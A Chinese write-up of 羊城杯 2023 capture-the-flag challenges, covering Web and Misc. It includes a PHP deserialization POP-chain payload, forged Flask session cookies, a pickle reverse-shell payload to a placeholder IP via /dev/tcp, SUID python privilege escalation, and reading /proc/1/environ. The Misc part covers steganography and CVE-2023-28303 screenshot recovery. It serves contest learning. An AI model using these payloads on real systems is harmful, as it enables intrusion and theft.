羊城杯 2023
Web
D0n't pl4y g4m3!!!
通过 Burp Suite 抓包可以发现存在 hint,如下图所示
hint.zip
内存在一个 hint.txt
内容如下
Ö_0 0vO Ow0 0w0 Ö_0 Ö_O Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo 0_Ö Ö_o owO O.0 owo Ö_o owO O.0 owo Ö_0 0wÖ O.0 0w0 Ö_0 OwO ov0 owo o_O O.Ö Övo
在网上可以找到这个 人类语言与尊嘟语的转换器 ,使用回显如下图
回头继续看 Header 可以得到 PHP 版本为 7.4.21
,在这个版本下存在一个漏洞 PHP<=7.4.21 Development Server源码泄露漏洞 。
先在 Repeater 关闭自动更新 Content-Length 功能,然后打开 \n
显示,如下图所示进行修改
就可以得到 /p0p.php
的源码如下
<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");
class Pro{
private $exp;
private $rce2;
public function __get($name)
{
return $this->$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");
}
}
class Yang
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{
return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}
function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}
$a = $_POST["CTF"];
if (isset($a)){
unserialize(prohib($a));
}
?>
看来是个反序列化的题目,那就先构造 POP 链罢,如下所示
Bei::__destruct()->Yang::ycb()->Cheng::__get()->Yang::__call()->highlight_file('/tmp/catcatf1ag.txt')
构造 Payload 具体过程如下
$bei = new Bei;
$yang = new Yang;
$cheng = new Cheng;
$bei->CTF = $yang;
$cheng->name = ['finish' => 1];
$yang->finish = $cheng;
$yang_fine = new Yang;
$yang_fine->key = true;
$yang_fine->finish = $cheng;
$yang_fine->now = ['YCB1' => 'highlight_file'];
$bei->rce = '/tmp/catcatf1ag.txt';
$bei->rce1 = '1';
$bei->fine = $yang_fine;
echo serialize($bei);
// O:3:"Bei":4:{s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:5:"Cheng":1:{s:4:"name";a:1:{s:6:"finish";i:1;}}}s:3:"rce";s:19:"/tmp/catcatf1ag.txt";s:4:"rce1";s:1:"1";s:4:"fine";O:4:"Yang":3:{s:3:"key";b:1;s:6:"finish";r:3;s:3:"now";a:1:{s:4:"YCB1";s:14:"highlight_file";}}}
通过构造 Payload 如下
CTF=O:3:"Bei":4:{s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:5:"Cheng":1:{s:4:"name";a:1:{s:6:"finish";i:1;}}}s:3:"rce";s:19:"/tmp/catcatf1ag.txt";s:4:"rce1";s:1:"1";s:4:"fine";O:4:"Yang":3:{s:3:"key";b:1;s:6:"finish";r:3;s:3:"now";a:1:{s:4:"YCB1";s:14:"highlight_file";}}}
即可得到 flag,别忘了恢复 Update Content-Length 以及修改请求头并加上 Content-Type!
Serpent
根据题目描述
I have been endeavoring to Reduce my phobia of Serpents by learning more about them. Do not scan, note that there is a www.zip file under the website.
可以下载得到附件 www.zip
,内容如下
from flask import Flask, session
from secret import secret
@app.route('/verification')
def verification():
try:
attribute = session.get('Attribute')
if not isinstance(attribute, dict):
raise Exception
except Exception:
return 'Hacker!!!'
if attribute.get('name') == 'admin':
if attribute.get('admin') == 1:
return secret
else:
return "Don't play tricks on me"
else:
return "You are a perfect stranger to me"
if __name__ == '__main__':
app.run('0.0.0.0', port=80)
分析代码说明需要伪造 Session ,先 decode 康康 Session 是什么结构。
$ python flask_session_cookie_manager3.py decode -c 'eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFQ5dFUzRHgxZXpmIn19.ZPK7Nw.IpOw9f3OmOU5pSsrypkjBPPtGNY'
b'{"Attribute":{"admin":0,"name":"GWHT","secret_key":"GWHTqXzgq93jM0"}}'
可以发现 secret_key 直接白给,那多好啊是吧(x。那就直接先根据题目要求伪造 Session,过程如下
import subprocess
def getSession():
command = ['python', 'flask_session_cookie_manager3.py', 'encode', '-t', '{"Attribute":{"admin":1,"name":"admin","secret_key":"GWHTqXzgq93jM0"}}', '-s',
"GWHTqXzgq93jM0"]
result = subprocess.run(command, capture_output=True, text=True)
output = result.stdout.strip()
return output
print(getSession())
# eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUcVh6Z3E5M2pNMCJ9fQ.ZPNNaw.7q9kgA4zsV536e4enMqC8e-fr9E
使用 Burp Suite 提交即可得到以下内容
访问 /ppppppppppick1e
后查看 Header 可以看到 Hint Source in /src0de
如下
访问 /src0de
可以得到部分源码如下
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]
@app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message
return rsp
class GWHT():
def __init__(self):
pass
if __name__ == '__main__':
app.run('0.0.0.0', port=80)
通过 pickle 得知这是一个反序列化题目,尝试使用 __reduce__
绕过实现弹 Shell 但是发现并不行,一直回显 No Way!!!
,通过百度后发现应该是 R
指令被过滤了,需要进行绕过。
需要先通过内网穿透让 Kali 能够进行监听。
import base64
import pickletools
payload = b"(cos\nsystem\nS'bash -c \\'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1\\''\no"
print(base64.b64encode(payload).decode())
#KGNvcwpzeXN0ZW0KUydiYXNoIC1jIFwnYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvMjMzMyAwPiYxXCcnCm8=
通过构造 Payload 如下
Cookie:session=eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUcVh6Z3E5M2pNMCJ9fQ.ZPNNaw.7q9kgA4zsV536e4enMqC8e-fr9E;pick1e=KGNvcwpzeXN0ZW0KUydiYXNoIC1jIFwnYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvMjMzMyAwPiYxXCcnCm8=
就可以弹 Shell 了,通过 find 查找一些特权程序发现有 /usr/bin/python3.8
。
www-data@out-0:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/su
/usr/bin/mount
/usr/bin/passwd
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/python3.8
那我们可以通过 python 来读取 www-data
无权访问的 /flag
。
www-data@out-0:~$ echo "with open('/flag') as file: print(file.read())" > shell.py
<n('/flag') as file: print(file.read())" > shell.py
www-data@out-0:~$ cat shell.py
cat shell.py
with open('/flag') as file: print(file.read())
www-data@out-0:~$ /usr/bin/python3.8 shell.py
/usr/bin/python3.8 shell.py
DASCTF{47147546620073247267003734242596}
ArkNights
非预期解 - Flag 在环境变量没删掉(
分析源码存在任意文件读取
@app.route('/read')
def read():
file = request.args.get('file')
fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
if fileblacklist:
return "bad hacker!"
start=request.args.get("start","0")
end=request.args.get("end","0")
if start=="0" and end=="0":
return open(file,"rb").read()
else:
start,end=int(start),int(end)
f=open(file,"rb")
f.seek(start)
data=f.read(end)
return data
构造 Payload 如下
/read?file=/proc/1/environ
可以得到以下内容
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=out-0DASFLAG=DASCTF{14925689287874371877282469112808}KUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_PORT_443_TCP_ADDR=10.255.128.1KUBERNETES_SERVICE_HOST=10.255.128.1KUBERNETES_SERVICE_PORT=443KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT=tcp://10.255.128.1:443KUBERNETES_PORT_443_TCP=tcp://10.255.128.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpLANG=C.UTF-8GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568PYTHON_VERSION=3.8.16PYTHON_PIP_VERSION=22.0.4PYTHON_SETUPTOOLS_VERSION=57.5.0PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/0d8570dc44796f4369b652222cf176b3db6ac70e/public/get-pip.pyPYTHON_GET_PIP_SHA256=96461deced5c2a487ddc65207ec5a9cffeca0d34e7af7ea1afc470ff0d746207FLASK_APP=app.pyFLASK_ENV=productionHOME=/home/ctf
Misc
EZ_misc
https://blog.csdn.net/beyondlight6/article/details/127497641
可以发现附件底下有像素,并且丢进 Kali 无法显示图片,说明需要先还原附件原始的宽高,可以通过 CRC 进行爆破得到真实的宽高数据。
破解还原后宽高会得到回显 flag不在这里哦hhhhhh
,说明另有说法。用 010 Editor 打开原附件可以看到底部存在一个压缩包。
将压缩包提取出来,需要注意 zip
压缩包的文件头是 50 4B 03 04
,因此需要改一下头部的文件头。之后就可以得到 feld.txt
,内容如下
vzbtrvplnnvphsqkxsiqibroou
丢进 https://www.dcode.fr/cipher-identifier 推测是维吉尼亚密码,那就丢进 https://www.dcode.fr/vigenere-cipher 可以发现原文如下
try to think the snipping tools
通过百度搜索截图工具得知是 Windows 11 截图工具的漏洞 Windows Snipping Tool Information Disclosure Vulnerability (CVE-2023-28303),通过 Github 搜索 CVE-2023-28303
可以得到恢复截图的工具,在 Kali 装上并安装所需库就输入以下内容
$ python gui.py
即可打开一个工具的 GUI 界面如下
点击 Restoring Tool
并把恢复宽高的图片丢进去选择 Windows 11 Snippint Tool
后点击 Acropalypse Now!
即可恢复原图如下
DASCTF{CvE_1s_V3Ry_intEr3sting!!}
Matryoshka
附件是 flag.img
,那就用 FTK Image 打开康康,加载后可以看到以下内容
Partition 5(软件)
[root]
- encrypt 加密卷
Partition 6 (文档)
[root]
- normal_rar.rar
- not_real_cat.jpg
将以上内容提取出来,用 010 Editor 打开可以看到一下划选内容如下
可以看到文件头是 FF D8 DD E0
可以判断是个 JPG
图片,将划选内容提取出来命名为 cat.jpg
,可以得到一张和 not_real_cat.jpg
类似的图片,猜测是盲水印。提取出来的 cat.jpg
是原图,not_real_cat.jpg
是水印图。
https://github.com/linyacool/blind-watermark
https://github.com/chishaxie/BlindWaterMark
盲水印脚本有多种,并且 Python 2 和 Python 3 的解题结果不同,可以多尝试
这题解出来使用的是第二个 URL 的 Python 2 脚本
$ python bwmforpy3.py decode 1.jpg 2.jpg flag.jpg --oldseed
image<1.jpg> + image(encoded)<2.jpg> -> watermark<flag.jpg>
就可以得到水印图如下
可以得到 Watermark_is_fun
,猜测是加密卷的密码。
使用 VeraCrypt 加载 encrypt
,选择一个空闲的盘符然后输入密码进行加载,可以得到 flag.txt
,文件内容如下
KBAUYVCSKR5XK5TYM5SGC3LMNJXWY4BQPBPXSYLVL54TCZLCL5UHUM27NUYTI4JBEEQX2===
猜测是零宽字符,通过 https://330k.github.io/misc_tools/unicode_steganography.html 可以得到原文和隐藏的文字如下图所示。
原文:KBAUYVCSKR5XK5TYM5SGC3LMNJXWY4BQPBPXSYLVL54TCZLCL5UHUM27NUYTI4JBEEQX2===
隐藏:Matryoshka
根据原文的特点以及末尾的三个等号猜测是 base32 编码,解码后可以得到原文
PALTRT{uvxgdamljolp0x_yau_y1eb_hz3_m14q!!!}
将原文丢进 https://www.dcode.fr/cipher-identifier 进行识别可以得知这个大概率是维吉尼亚密码,那隐藏文字就是 KEY 了,通过 https://www.dcode.fr/vigenere-cipher 进行解密就可以得到 flag 了。
DASCTF{congratulati0n_you_f1nd_th3_f14g!!!}